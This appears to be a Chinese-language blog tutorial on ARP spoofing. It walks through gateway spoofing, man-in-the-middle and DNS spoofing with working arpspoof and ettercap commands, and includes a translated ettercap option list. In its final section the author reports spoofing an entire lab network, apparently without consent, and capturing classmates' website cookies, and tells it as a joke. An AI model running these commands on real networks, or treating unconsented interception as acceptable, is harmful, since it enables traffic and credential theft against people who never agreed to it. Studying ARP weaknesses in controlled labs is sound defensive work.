Arp协议

以太网(局域网)进行信息传输时,不是根据IP地址进行通信,因为IP地址是可变的,用于通信是不安全的。然而MAC地址是网卡的硬件地址,一般出厂后就具有唯一性。ARP协议就是将目标IP地址解析成MAC地址进行验证通信。

Arp协议缺陷

ARP协议信任以太网所有的节点,效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全,它不会检查自己是否接受或发送过请求包,只要它就收到的arp广播包,他就会把对应的ip-mac更新到自己的缓存表,说白了就是他信任网络环境内任意通信。

演示

ARP欺骗分为伪造主机欺骗、伪造网关欺骗、中间人欺骗、ARP泛洪和攻击。

伪造主机:造成特定主机被认为无响应

伪造网关:伪造网关,抓取局域网内数据,断网

中间人欺骗:恶意主机既向网关发送主机数据,又伪造网关像主机发数据,作为中间人可看主机与网关之间交互的数据

ARP泛洪攻击:利用ARP缓存表支持动态刷新,且是有一定限制的刷多了就把正确的覆盖了,消耗资源

伪造网关欺骗

搭建个小环境

像主机B(10.10.10.133)发送ARP响应包,欺骗主机A(10.10.10.135) kali为网关

arpspoof -i eth1 -t 10.10.10.133 10.10.10.1

欺骗前

欺骗后

可以看到一直是主机B与网关的通信

很显然了与网关之间的通信内容也是会被抓窃取。

中间人

本机arp缓存表,可以看到从上到下ip依次为本机,网关,安卓手机,kali,现在我利用kali对主机与网关之间通信进行欺骗。

先打开路由转发(不开启会断网)

echo 1 >> /proc/sys/net/ipv4/ip_forward


arpspoof -i eth0 -t 192.168.31.1 192.168.31.157
arpspoof -i eth0 -t 192.168.31.157 192.168.31.1

可以看到主机还是可以联网,但是ARP表上网关的MAC地址却是我的kali机,这就意味着我的kali作为中间人可以截获查看主机与网关之间的往来流量。

kali上打开wireshark抓包

可以看到主机与网关之间的通信,来往流量被截获和容易抓到一些敏感信息,甚至明文密码cookie。

ettercap

用法
Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]

用法:ettercap【选项】【目标1】【目标2】

TARGET is in the format MAC/IPs/PORTs (see the man for further detail)

目标是MAC/IPs/PORTs格式(根据中间人获取更多信息)

嗅探与攻击选项:
  -M, --mitm <方法:ARGS>  执行mitm攻击

  -o, --only-mitm   不嗅探,只执行mitm攻击

  -B, --bridge <IFACE> 使用桥接嗅探(需要2个iface——嗅探时使用的网卡接口,嗅探两块网卡之间的数据包)

  -p, --nopromisc  不要将iface放入混杂模式

  -S, --nosslmitm  不要伪造SSL证书

  -u, --unoffensive不要转发数据包

  -r, --read <file>   从pcap文件读取数据 <file>

  -f, --pcapfilter <string>   设置pcap过滤器<string>

  -R, --reversed使用逆向目标反馈

  -t, --proto <proto>  只嗅探该proto(默认是全部)

用户界面类型:
  -T, --text使用只显示字符的界面

  -q, --quiet  安静模式,不显示抓到的数据包内容

  -s, --script <CMD>向用户界面发出这些命令

  -C, --curses   使用curses图形化界面

  -G, --gtk使用GTK+ GUI

  -D, --daemon守护模式(无界面),相当于在后台运行

日志选项:
  -w, --write <file>将嗅探到的数据写入pcap文件 <file>

  -L, --log <logfile>  此处记录所有流量<logfile>

  -l, --log-info <logfile>此处记录所有信息<logfile>

  -m, --log-msg <logfile> 此处记录所有消息记录<logfile>

  -c, --compress  使用gzip压缩日志文件

可视化选项:
  -d, --dns   将ip地址解析为主机名

  -V, --visual <format>设置可视化格式

  -e, --regex <regex>  只实现匹配该regex数据包的可视化

  -E, --ext-headers  打印每个pck的扩展头

  -Q, --superquiet   不显示用户名与密码

通用选项:
  -i, --iface <iface> 使用该网络接口

  -I, --liface 显示所有的网络接口

  -n, --netmask <netmask>在iface上强制实行(force)该<netmask>

  -P, --plugin <plugin>   开始该插件<plugin>

  -F, --filter <file>   加载过滤器 <file> (内容过滤器)

  -z, --silent   不执行初始ARP扫描

  -j, --load-hosts <file>  从 <file>加载主机列表

  -k, --save-hosts <file>将主机列表保存至<file>

  -W, --wep-key <wkey>   使用该wep密钥解密wifi数据包

  -a, --config <config>   使用其它配置文件<config>

标准选项:
  -U,  --update   从ettercap网站更新数据库

  -v,  --version   打印此版本并退出

  -h,  --help帮助选项
dns欺骗

修改 /etc/ettercap/etter.dns

ettercap -i eth0 -T -q -P dns_spoof

可以看到会访问到我kali本地网站

中间人
ettercap -i eth0 -T -M arp:remote /192.168.31.157// /192.168.31.1//

主机上网正常,kali也可以捕获过往流量。

实战

说起上次比赛有老哥跟我说我们路由没做ip/mac绑定,可以arp,当时没研究过这个危害,在实验室兴起,搞了一波用ettercap做了全局域网的欺骗

ettercap -i eth0 -T -M arp:remote  /192.168.0.1// 

扫描到五个存货地址,实验室用的一台路由另一个断网了,可以确定102/195为两位小老弟的ip。(仅仅欺骗了几分钟)

可以看到还在认真的学习!!!

却不知自己某站的cookie已经被抓了。

有需要的!!!改密码 tql

危害

破坏性的就是断网,危害比较大的就是欺骗后流量被随意抓取,内网抓管理密码,抓http密码。

总结

局域网内设备要有通信arp表才显示,并且nmap -sP没有发现安卓设备。